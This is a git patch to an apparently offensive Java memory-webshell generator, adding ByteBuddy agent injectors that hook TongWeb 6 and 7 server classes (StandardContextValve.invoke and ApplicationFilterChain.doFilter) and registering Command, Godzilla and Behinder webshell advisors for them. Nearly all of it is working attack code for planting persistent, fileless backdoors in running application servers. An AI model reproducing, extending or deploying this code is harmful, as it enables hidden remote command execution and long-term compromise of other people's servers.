From 633508cedaff2ff3f9c74db8a86c55250fba3180 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Fri, 10 Jan 2025 00:56:58 +0800 Subject: [PATCH] feat: support TongWeb agent shell --- .../javaweb/memshell/TongWeb6Shell.java | 20 ++++-- .../javaweb/memshell/TongWeb7Shell.java | 19 ++++-- .../TongWebContextValveAgentInjector.java | 65 +++++++++++++++++++ .../TongWebFilterChainAgentInjector.java | 65 +++++++++++++++++++ 4 files changed, 157 insertions(+), 12 deletions(-) create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebContextValveAgentInjector.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebFilterChainAgentInjector.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java index 772fd4e2..4967181b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java @@ -1,17 +1,19 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector; import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6; import com.reajason.javaweb.memshell.tongweb.command.CommandValve6; import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6; -import com.reajason.javaweb.memshell.tongweb.injector.TongWebFilterInjector; -import com.reajason.javaweb.memshell.tongweb.injector.TongWebListenerInjector; -import com.reajason.javaweb.memshell.tongweb.injector.TongWebValveInjector; +import com.reajason.javaweb.memshell.tongweb.injector.*; import org.apache.commons.lang3.tuple.Pair; import java.util.Map; @@ -32,7 +34,9 @@ public class TongWeb6Shell extends AbstractShell { LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class), JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class), VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class), - JAKARTA_VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class) + JAKARTA_VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class), + AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class), + AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TongWebContextValveAgentInjector.class) ); } @@ -44,7 +48,9 @@ public class TongWeb6Shell extends AbstractShell { LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class), JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class), VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class), - JAKARTA_VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class) + JAKARTA_VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class), + AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class), + AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TongWebContextValveAgentInjector.class) ); } @@ -56,7 +62,9 @@ public class TongWeb6Shell extends AbstractShell { LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class), JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class), VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class), - JAKARTA_VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class) + JAKARTA_VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class), + AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class), + AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class) ); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java index 475e2d34..60aec08d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java @@ -1,17 +1,18 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7; import com.reajason.javaweb.memshell.tongweb.command.CommandValve7; import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7; -import com.reajason.javaweb.memshell.tongweb.injector.TongWebFilterInjector; -import com.reajason.javaweb.memshell.tongweb.injector.TongWebListenerInjector; -import com.reajason.javaweb.memshell.tongweb.injector.TongWebValveInjector; +import com.reajason.javaweb.memshell.tongweb.injector.*; import org.apache.commons.lang3.tuple.Pair; import java.util.Map; @@ -32,7 +33,9 @@ public class TongWeb7Shell extends AbstractShell { LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class), JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class), VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class), - JAKARTA_VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class) + JAKARTA_VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class), + AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class), + AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TongWebContextValveAgentInjector.class) ); } @@ -44,7 +47,9 @@ public class TongWeb7Shell extends AbstractShell { LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class), JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class), VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class), - JAKARTA_VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class) + JAKARTA_VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class), + AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class), + AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TongWebContextValveAgentInjector.class) ); } @@ -56,7 +61,9 @@ public class TongWeb7Shell extends AbstractShell { LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class), JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class), VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class), - JAKARTA_VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class) + JAKARTA_VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class), + AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class), + AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class) ); } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebContextValveAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebContextValveAgentInjector.java new file mode 100644 index 00000000..d33e0734 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebContextValveAgentInjector.java @@ -0,0 +1,65 @@ +package com.reajason.javaweb.memshell.tongweb.injector; + +import net.bytebuddy.agent.builder.AgentBuilder; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.matcher.ElementMatchers; +import net.bytebuddy.utility.JavaModule; + +import java.lang.instrument.Instrumentation; +import java.security.ProtectionDomain; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2024/12/28 + */ +public class TongWebContextValveAgentInjector implements AgentBuilder.Transformer { + + static Class interceptorClass = null; + + static { + try { + interceptorClass = Class.forName(getClassName()); + } catch (ClassNotFoundException e) { + e.printStackTrace(); + } + } + + @Override + public DynamicType.Builder transform(DynamicType.Builder builder, + TypeDescription typeDescription, + ClassLoader classLoader, JavaModule module, + ProtectionDomain protectionDomain) { + return builder.visit(Advice.to(interceptorClass).on(named("invoke").and(ElementMatchers.returns(void.class)))); + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + new AgentBuilder.Default() + .ignore(ElementMatchers.none()) + .disableClassFormatChanges() + .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) +// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) +// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) + .type(named("com.tongweb.web.thor.core.StandardContextValve") + .or(named("com.tongweb.catalina.core.StandardContextValve"))) + .transform(new TongWebContextValveAgentInjector()) + .installOn(inst); + System.out.println("MemShell Agent is working at com.tongweb.web.thor[com.tongweb.catalina].core.StandardContextValve.invoke"); + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebFilterChainAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebFilterChainAgentInjector.java new file mode 100644 index 00000000..140dea65 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebFilterChainAgentInjector.java @@ -0,0 +1,65 @@ +package com.reajason.javaweb.memshell.tongweb.injector; + +import net.bytebuddy.agent.builder.AgentBuilder; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.matcher.ElementMatchers; +import net.bytebuddy.utility.JavaModule; + +import java.lang.instrument.Instrumentation; +import java.security.ProtectionDomain; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2024/12/28 + */ +public class TongWebFilterChainAgentInjector implements AgentBuilder.Transformer { + + static Class interceptorClass = null; + + static { + try { + interceptorClass = Class.forName(getClassName()); + } catch (ClassNotFoundException e) { + e.printStackTrace(); + } + } + + @Override + public DynamicType.Builder transform(DynamicType.Builder builder, + TypeDescription typeDescription, + ClassLoader classLoader, JavaModule module, + ProtectionDomain protectionDomain) { + return builder.visit(Advice.to(interceptorClass).on(named("doFilter"))); + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + new AgentBuilder.Default() + .ignore(ElementMatchers.none()) + .disableClassFormatChanges() + .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) +// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) +// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) + .type(named("com.tongweb.web.thor.core.ApplicationFilterChain") + .or(named("com.tongweb.catalina.core.ApplicationFilterChain"))) + .transform(new TongWebFilterChainAgentInjector()) + .installOn(inst); + System.out.println("MemShell Agent is working at com.tongweb.web.thor[com.tongweb.catalina].core.ApplicationFilterChain.doFilter"); + } +} \ No newline at end of file